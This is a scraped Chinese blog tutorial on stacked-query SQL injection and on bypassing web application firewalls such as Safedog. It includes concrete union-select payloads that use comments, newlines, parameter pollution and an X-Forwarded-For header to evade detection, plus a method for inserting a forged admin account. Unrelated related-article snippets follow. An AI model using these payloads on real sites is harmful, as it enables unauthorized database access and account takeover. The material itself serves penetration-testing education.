当前位置: 首页 > news >正文

18、SQL注入之堆叠及WAF绕过注入

目录

    • 堆叠查询注入
    • WAF绕过-SQL注入
    • 简要讲解安全狗、宝塔等防护waf策略规则
      • 大小写和关键字替换
      • 加密解密
      • 编码解码
      • 等价函数
      • 特殊符号
      • 反序列化
      • 注释符混用
      • 更改提交方式
      • Fuzz大法
      • 数据库特性
      • 垃圾数据溢出
      • HTTP参数污染
    • 实测简易CMS头部注入漏洞Bypass原理分析

堆叠查询注入

stacked injections(堆叠注入)从名词的含义就可以看到应该是一堆 sql 语多条一起执行。而在真实的运用中也是这样的,我们知道在 mysql 中,主要是命令行中,每一条语句结尾加;表示语句结束。这样我们就想到了是不是可以多条语句一起使用。这个叫做 stacked injection。

堆叠注入是分数据库的,有些支持有些不支持。

堆叠注入是有局限性,仅支持部分数据库(mysql),像sql server、oracle,就不支持。

堆叠查询,就是在原有的代码调用语句执行之上,在注入时,将变量的参数值加入另外一条SQL语句进行注入,就实施我们定义的SQL语句

堆叠注入的一个用处,因为我们讲一个漏洞,如果你不知道,它的一个实际应用的话,学了之后,对我们的印象也不太好,我们也不太知道这个应用的应用场景

注入需要得到管理员的帐号密码,密码是加密的,无法解密出来。这个时候,我们可以利用堆叠注入进行插入数据,由于是我们插入的数据,所以用户密码是自定义的,可以正常解密登录

密码加密经常解密不出来,这个是很正常的,我们可以利用这个注入漏洞,实现堆叠注入。

分享这个例子,只是说它的用处,不要理解为它只能做这个事情,后面的语句可以写成update或者其它语句都是可以的。

一般我们管理员和普通用户在一张表或数据库里面,会用id值和组进行区分,我们只需要把添加的用户设置为1组或2组进行权限的划分,因为很多网站会用这个东西来判定是管理员还是普通用户。

WAF绕过-SQL注入

绕过上传、绕过注入、绕过扫描
WAF:宝塔、安全狗、阿里云盾

阿里云服务器,在初次安装服务的时候,会默认自带阿里云盾

简要讲解安全狗、宝塔等防护waf策略规则

宝塔是一键化的搭建工具,它上面有些插件是要收费的

安全狗的防护能力是跟不上其它防护软件的,用的人比较多是因为它是免费的,而且它的历史比较悠久,它出现的时候,很多WAF还没有出现,例如D盾、360网站卫士、护卫神这些

宝塔比安全狗更难绕过,当我们把宝塔研究清楚之后,很多东西就很好研究了。安全狗只是开胃小菜。

我们一般完成防护软件安装之后,都会去采用默认的防护配置

把安全狗的防护策略全部打开,肯定是会更加安全的,但是有时候正常的访问、正常的地址,你在访问的时候,这个网站也会出现误报,就是它会拦截一些正常的页面和正常的应用。为了防止一些误报,安全狗在安装的时候,会把它关闭,就是为了防止误报。大部分人在安装完之后,会对默认的配置进行初始设置,但是也不排除有些人为了安全,把这些配置全部打开

HTTP安全检测这块除了常见漏洞的拦截,还有一些常见扫描工具的拦截
资源防护这块,有后台地址防护,防止黑客扫描到后台

特定资源防护,假设网站有mdb文件、sql文件,我们在访问的时候,没有WAF,可能直接显示或下载,但是有这种防护软件,你在访问的时候,他会直接拦截

我们经常在扫描网站、目录的时候,工具一开,突然网站就打不开了,这就是流量防护,他根据你自身IP地址请求次数过多,流量速度过快,然后判定你为黑客扫描攻击,直接拦截;这个也是很正常的情况,都有这个经验,都有碰到过

我们讲这个WAF绕过,其实是讲他拦截的这个东西,怎么突破;所以WAF绕过是针对某个漏洞、某个攻击方式的绕过,不是单纯的说怎么绕过,我们能不能进行突破,绕过是有个目标的,这个绕过的东西不一样,方法和思路是不一样的,因为每个东西都有相应的检测规则和绕过方式

程序员在开发这款软件的时候,它会有这个检测,检测是通过代码实现的,所以检测的全,我们就无法绕过,检测的不全,我们就有空子可以钻;所以我们后续在研究如何绕过的时候,就是在测试这个规则都有那些东西,有没有搞全,或者有那些缺陷

代码会决定你的接收方式,有的代码只接受get或者说全部接受,如果只接受get,那么post是接收不到的

采用更改提交方式去绕过WAF,这个思路是正确的,但是后台代码不支持,那就无法攻击成功

我们在学WAF绕过的时候,它的规则其实是多方面的,不仅是一方面

数据:网站参数的数据,大部分过滤是根据你提交的数据有一个检测,所以,我们在数据上会有一个变异来进行绕过

大小写和关键字替换

id=1 UnIoN/**/seLecT 1,user()

Hex() bin()等价于ascii()
Sleep() 等价于 benchmark()
Mid() substring() 等价于 substr()
@@user 等价于 User()
@@Version 等价于 version()

加密解密

s->%73->%25%37%33
hex,unlcode,base64等

编码解码

等价函数

特殊符号

在数据库查询的时候,添加特殊符号,数据库不会受到影响,也能查询出数据,就实现了绕过
WAF在检测的时候,类似于我们在开发里面的正则表达式,就是在我们输入的数据里面去匹配关键性的东西,关键性的东西匹配出来能够跟它数据库里面的字典匹配上,那它就会拦截,如果没有就会放过;我们用这些特殊符号就能够达到
我们绕过的前提条件是既保证了语句的正常运行结果,又能防止软件的正常匹配能够实现绕过。我们的绕过就是围绕这两块做文章

反序列化

把数据以反序列化的格式提交来绕过,但是有一个前提条件,对方的代码是支持反序列化的

注释符混用

// -- --+ # /**/ + :%00 /!**/等

注释符是为了便于代码的可阅读性,数据库当中也有注释符;注释符用的好,就会实现和特殊符号一样的含义,利用注释符可以实现干扰特殊符号的匹配,来实现绕过

这个注释符和特殊符号是要看具体的数据库、具体的情况才能知道的;因为每个数据库的注释符号和特殊符号都是不一样的

WAF拦截关键字拦截的是一个整体,我们可以采取拆分关键字的方法

/**/,mysql特有的注释符,这个是不会影响数据库执行的,database/**/()就可以绕过拦截

安全狗在匹配到database/**/()的时候。其实就不是原则意义上的database了,是因为有/**/在干扰,就没有去拦截。

安全狗的很多拦截是针对get型提交方式的

union/**/select
un/**/ion/**/select,执行不了,因为关键字被拆分掉了,数据库识别不了

%0a是换行符,%23是注释符

-1/*%Oa*/union/*%Oa*/select/*%0a*/1,2,3,如果还是拦截那就再加一下干扰字节,例如X、a
#部分bypass sqlinject payload
id=1 union/*%00*/%23a%0A/*!/*!select 1,2,3*/;%23
id=-1 union/*%00*/%23a%0A/*!/*!select%201,database%23x%0A(),3*/;%23id=-1%20union%20/*!44509select*/%201,2,3%23
id=-1%20union%20/*!44509select*/%201,%23x%0A/*!database*/(),3%23id=1/**&id=-1%20union%20select%201,2,3%23*/
用到了参数污染、数据库特性、注释符混合,这个绕过方式非常的巧妙
这里的%20是不能换成空格的,因为这样就会绕不过去
因为是apache,它接收的是-1%20union%20select%201,2,3%23*/,#号把*/给屏蔽掉了,它不会影响到我们的语句;安全狗是全部接收,1/**-1%20union%20select%201,2,3%23*/但是执行是执行-1%20union%20select%201,2,3%23*/的,因为参数污染只接收后面数据的
/***/是mysql里面的注释符
当前执行语句: SELECT * FROM users WHERE id=-1 union select 1,2,3#*/   遵循参数污染
安全狗是全部接收,它可能接收1/**-1%20union%20select%201,2,3%23*/也可能接收1/**&id=-1%20union%20select%201,2,3%23*/,中间这串代码实际上是被注释掉了,安全狗误认为后面这串代码没有起到任何作用,实现了绕过
其实是配合参数污染,让安全狗在检测的时候,产生错觉,从而绕过;数据库在接收数据的时候不是接收这个数据,它接收的是-1%20union%20select%201,2,3%23*/
安全狗匹配的时候匹配的是1/**-1 union select 1,2,3#*/或1/**&id=-1%20union%20select%201,2,3%23*/其中符号中起到注释作用,正常情况下没有执行,安全狗直接不管,但是参数污染导致接收的真实数据是-1 union select 1,2,3#*/能正常执行sqlid=-1 %20union%20all%23%0a%20select%201,2,3%23
-1 %20union%20all%23%0a%20select%201,%230%0Adatabase/**/(),3%23
union select 1,2,3#
union #a
select 1,2,3#

换行是让安全狗截止匹配,a是为了防止前后的一个匹配,就是为了保证这个语句的正常执行;单独写个a是绕过了,但是语句错误了,所以我写了个#闭合掉,然后再加个换行符,这样换行符就不会受到#号的干扰,然后select也能够正常拼接到数据库语句当中,数据库执行的原型是union select 1,2,3#;如果不换行,相当于select语句会被屏蔽掉,数据库执行的原型是union #aselect 1,2,3#

mysql数据库是支持换行符的,在数据库当中换行是不会受到影响的,它是能够正常执行的

更改提交方式

前提:代码要能够支持其它方式提交
变异

其它:根据绕过的漏洞,注入里面的数据库,每个数据库有它相应的特性,还会有一些方法,比如垃圾数据

Fuzz大法

fuzz我们称呼为模糊测试,就是暴力测试,什么都不知道,我们就是测试,就是吃西瓜,有点类似于我们对登录密码进行爆破,就是不管三七二十一,就是测试
在爆破的时候,爆破到账号然后成功登录,模糊测试就是这么个意思
fuzz不是一个技术,它是一个概念,一个思路
注入语句的任意一个地方,做个字典,批量的去写脚本生成很多种可能性,依次去请求数据包,来判断数据包在发送的时候,没有被安全狗拦截,那么那条语句的代码就视为绕过了注入
fuzz其实就等同于我们手工不断测试,只是说它利用脚本帮助我们实现,就不需要人工一个个的去访问,我们写好相应的脚本,相应的字典,去批量化的访问这个地址,就完事了
fuzz就是个思路,你明白了这个思路,你就明白了它
fuzz通常是用脚本和工具去批量测试,实际上是要我们去编写脚本,这就是我们学开发的一个很重要的原因
可以用fuzz去测试什么方式可以绕过waf

数据库特性

/*!select * from users*/

数据库特性,在数据库里面仍然能够正常执行
1、Mysql技巧
(1) mysql注释符有三种:#、/*...*/、-- (注意–后面有一个空格)
(2) 空格符:[0x09,0x0a-0x0d,0x20,0xa0]
(3)特殊符号: %a 换行符
可结合注释符使用%23%0a,%2d%2d%0a。
(3)内联注释
/*!UnIon12345SelEcT*/ 1,user() //数字范围 1000-50540/
(4) mysql黑魔法
select{x username}from {x11 test.admin};
2、SQL Server技巧
(1)用来注释掉注入后查询的其余部分
/* c语言风格注释
– SQL注释
;00% 空字节
(2)空白符:[0x01-0x20]
(3)特殊符号:%3a 冒号
id=1 union:select 1,2 from:admin
(4)函数变形:如db_name空白字符

垃圾数据溢出

HTTP参数污染

在这里插入图片描述
多个一样参数的时候,它以那个参数为准,不同的服务端,它的处理方式是不一样的

WAF绕过后面还会有文件上传绕过
我们在实际测试过后,我们这个思路会有点险隘,这个时候,我们就把可能性写到脚本里面,让脚本去帮我们跑,跑出来之后,分析为什么能绕过就完事了,上面那些绕过语句,全都是用fuzz跑出来的
我们只要掌握常见技巧,放到脚本里面跑就完事了,几分钟就能跑出我们的答案来,非常快
我们一个个写一个个猜,是很费时间的
fuzz要看具体情况,有些是用不了的

实测简易CMS头部注入漏洞Bypass原理分析

X-Forwarded-For: 8.8.8.8’ union select 1,2,3,database(),5#,可以直接注入因为安全狗规则里面没有检测头部注入,安全狗是检测URL的

相关文章:

18、SQL注入之堆叠及WAF绕过注入

目录 堆叠查询注入WAF绕过-SQL注入简要讲解安全狗、宝塔等防护waf策略规则大小写和关键字替换加密解密编码解码等价函数特殊符号反序列化注释符混用更改提交方式Fuzz大法数据库特性垃圾数据溢出HTTP参数污染 实测简易CMS头部注入漏洞Bypass原理分析 堆叠查询注入 stacked inje…...

nodejs+vue+elementui+express旅游出行指南网站_655ms

本文主要介绍了一种基于windows平台实现的旅游出行指南。该系统为用户找到景点信息和酒店信息提供了更安全、更高效、更便捷的途径。本系统有两个角色:管理员和用户,要求具备以下功能: (1)用户可以浏览主页了解旅游出行…...

【心电图信号压缩】ECG信号压缩与通过三次样条近似重建的ECG信号压缩研究(Matlab代码实现)

💥💥💞💞欢迎来到本博客❤️❤️💥💥 🏆博主优势:🌞🌞🌞博客内容尽量做到思维缜密,逻辑清晰,为了方便读者。 ⛳️座右铭&a…...

matlab使用教程(11)—创建随机数

MATLAB 使用算法来生成伪随机数和伪独立数。这些数在数学意义上并非严格随机和独立的,但它们能够通过各种随机和独立统计测试,并且其计算可以重复,方便用于测试或诊断目的。 rand 、 randi 、 randn 和 randperm 函数是创建随机数数组的主要…...

一、安全世界观

文章目录 1、 Web安全简史1.1 中国黑客简史1.2 黑客技术的发展历程1.3 web安全的兴起 2、黑帽子、白帽子3、安全的本质4、安全三要素5、如何实施安全评估5.1 资产等级划分5.2 威胁分析5.3 风险分析5.4 设计安全方案 6、白帽子兵法6.1 Secure By Default6.2 纵深防御原则6.3 数据…...

爬虫014_文件操作_打开关闭_读写_序列化_反序列化---python工作笔记033

报错,没有指定路径,没有指定路径无法创建文件 这样可以在当前目录下创建一个可写的文件 可以看到找到刚才生成的文件,看看内容...

企业前后端分离软件架构如何设计?

企业前后端分离软件架构的设计涉及到前端和后端的独立性、通信方式、数据流管理等多个方面。下面我将为你介绍一个常见的前后端分离软件架构设计: 1、前端层: 框架选择:选择适合项目需求的前端框架,例如React、Vue.js、Angular等…...

生产执行MES系统:提升企业灵活性和响应速度的关键利器

在竞争激烈的市场环境下,企业需要不断提高其灵活性和响应速度,以适应快速变化的需求和市场动态。生产执行MES(Manufacturing Execution System)系统作为信息技术的重要应用,为企业提供了强大的工具和平台,能…...

什么是分布式系统,如何学习分布式系统

正文 虽然本人在前面也写过好几篇分布式系统相关的文章,主要包CAP理论,分布式储存与分布式事务,但对于分布式系统,并没有一个跟清晰的概念。分布式系统涉及到很多的技术、理论与协议,很多人也说,分布式系统…...

数据库锁表 Lock wait timeout exceeded; try restarting transaction

锁等待超时 Lock wait timeout exceeded; try restarting transaction,是当前事务在等待其它事务释放锁资源造成的 解决办法 1、数据库中执行如下sql,查看当前数据库的线程情况: show full PROCESSLIST2、再到 INNODB_TRX 事务表中查看&…...

Oracle 知识篇+分区表上的索引由global改为local注意事项

★ 知识点 二、知识点 Local型索引有如下优点 1.Only one index partition must be rebuilt when a maintenance operation other than SPLIT PARTITION or ADD PARTITION is performed on an underlying table partition. 2.The duration of a partition maintenance opera…...

基于2.4G RF开发的无线游戏手柄解决方案

平时喜欢玩游戏的朋友,肯定知道键鼠在某些类型的游戏适配和操作方面,不如手柄。作为一个游戏爱好者,还得配上一个游戏手柄才行。比如动作和格斗、体育游戏,由于手柄更合理的摇杆位置和按键布局,操作起来也是得心应手。…...

Python之一:基础信息

#查看pip版本,cmd命令窗口(注意环境变量%PYTHON_HOME%\scripts,是否在path中) pip --version #安装pip,cmd命令窗口 python -m pip install pip #查看已安装模块,cmd命令窗口 python -m pydoc modules #查看…...

K8S系列文章之 Traefik快速入门

traefik 与 nginx 一样,是一款优秀的反向代理工具,或者叫 Edge Router。至于使用它的原因则基于以下几点 无须重启即可更新配置自动的服务发现与负载均衡与 docker 的完美集成,基于 container label 的配置漂亮的 dashboard 界面metrics 的支…...

RabbitMQ在CentOS下的安装

RabbitMQ的版本是3.8.2 1.环境配置:CentOs 7.6以上版本,我的版本是7.9,不要对yum换源,否则可能会安装失败。 echo "export LC_ALLen_US.UTF-8" >> /etc/profile source /etc/profile 以上命令,是…...

为什么金鸣识别不做成离线版?

来百度APP畅享高清图片 在众多的用户咨询中,金鸣识别客服常常会被用户问及为何不做成离线版的问题,下面我就在这里跟大伙说说其中的原因吧。 离线版的OCR准确率相对于网络版可能会较低,主要有以下几个原因: 1. 数据量和模型更新…...

什么是面向对象

目录 对象: 举例: 封装: 好处: 继承: 多态: 类和对象之间的关系 对象: 把一个东西看成对象,我们就可以孤立的审查它的性质,行为,进而研究它和其他对象的关系。 对象是一个应用系统中用…...

记一次前端直接上传图片到oss报错

前端直接上传图片到阿里云oss,相关过程官网和网上资料已经很详细,不做赘述。 但这个过程比较复杂,前后端对接过程中很容易出现报错,这里遇到了以下报错,不容易排查。 请求显示net::ERR_NAME_NOT_RESOLVED错误,catch输…...

数据库管理-第九十八期 统计信息是多么重要(20230812)

数据库管理-第九十八期 统计信息是多么重要(20230812) 每天通过EM可视化巡视数据库执行情况,发现那些执行比较长的语句要么是索引没用上、要么是索引没建。但更多的是发现执行计划中“估计的行数”与“行数”(执行的)…...

山西电力市场日前价格预测【2023-08-13】

日前价格预测 预测明日(2023-08-13)山西电力市场全天平均日前电价为351.64元/MWh。其中,最高日前电价为404.00元/MWh,预计出现在19: 30。最低日前电价为306.39元/MWh,预计出现在13: 15。 价差方向预测 1: 实…...

SpringBoot-17-MyBatis动态SQL标签之常用标签

文章目录 1 代码1.1 实体User.java1.2 接口UserMapper.java1.3 映射UserMapper.xml1.3.1 标签if1.3.2 标签if和where1.3.3 标签choose和when和otherwise1.4 UserController.java2 常用动态SQL标签2.1 标签set2.1.1 UserMapper.java2.1.2 UserMapper.xml2.1.3 UserController.ja…...

在HarmonyOS ArkTS ArkUI-X 5.0及以上版本中,手势开发全攻略:

在 HarmonyOS 应用开发中,手势交互是连接用户与设备的核心纽带。ArkTS 框架提供了丰富的手势处理能力,既支持点击、长按、拖拽等基础单一手势的精细控制,也能通过多种绑定策略解决父子组件的手势竞争问题。本文将结合官方开发文档&#xff0c…...

QMC5883L的驱动

简介 本篇文章的代码已经上传到了github上面,开源代码 作为一个电子罗盘模块,我们可以通过I2C从中获取偏航角yaw,相对于六轴陀螺仪的yaw,qmc5883l几乎不会零飘并且成本较低。 参考资料 QMC5883L磁场传感器驱动 QMC5883L磁力计…...

Go 语言接口详解

Go 语言接口详解 核心概念 接口定义 在 Go 语言中,接口是一种抽象类型,它定义了一组方法的集合: // 定义接口 type Shape interface {Area() float64Perimeter() float64 } 接口实现 Go 接口的实现是隐式的: // 矩形结构体…...

智能在线客服平台:数字化时代企业连接用户的 AI 中枢

随着互联网技术的飞速发展,消费者期望能够随时随地与企业进行交流。在线客服平台作为连接企业与客户的重要桥梁,不仅优化了客户体验,还提升了企业的服务效率和市场竞争力。本文将探讨在线客服平台的重要性、技术进展、实际应用,并…...

屋顶变身“发电站” ,中天合创屋面分布式光伏发电项目顺利并网!

5月28日,中天合创屋面分布式光伏发电项目顺利并网发电,该项目位于内蒙古自治区鄂尔多斯市乌审旗,项目利用中天合创聚乙烯、聚丙烯仓库屋面作为场地建设光伏电站,总装机容量为9.96MWp。 项目投运后,每年可节约标煤3670…...

土地利用/土地覆盖遥感解译与基于CLUE模型未来变化情景预测;从基础到高级,涵盖ArcGIS数据处理、ENVI遥感解译与CLUE模型情景模拟等

🔍 土地利用/土地覆盖数据是生态、环境和气象等诸多领域模型的关键输入参数。通过遥感影像解译技术,可以精准获取历史或当前任何一个区域的土地利用/土地覆盖情况。这些数据不仅能够用于评估区域生态环境的变化趋势,还能有效评价重大生态工程…...

C# SqlSugar:依赖注入与仓储模式实践

C# SqlSugar:依赖注入与仓储模式实践 在 C# 的应用开发中,数据库操作是必不可少的环节。为了让数据访问层更加简洁、高效且易于维护,许多开发者会选择成熟的 ORM(对象关系映射)框架,SqlSugar 就是其中备受…...

2023赣州旅游投资集团

单选题 1.“不登高山,不知天之高也;不临深溪,不知地之厚也。”这句话说明_____。 A、人的意识具有创造性 B、人的认识是独立于实践之外的 C、实践在认识过程中具有决定作用 D、人的一切知识都是从直接经验中获得的 参考答案: C 本题解…...

C++课设:简易日历程序(支持传统节假日 + 二十四节气 + 个人纪念日管理)

名人说:路漫漫其修远兮,吾将上下而求索。—— 屈原《离骚》 创作者:Code_流苏(CSDN)(一个喜欢古诗词和编程的Coder😊) 专栏介绍:《编程项目实战》 目录 一、为什么要开发一个日历程序?1. 深入理解时间算法2. 练习面向对象设计3. 学习数据结构应用二、核心算法深度解析…...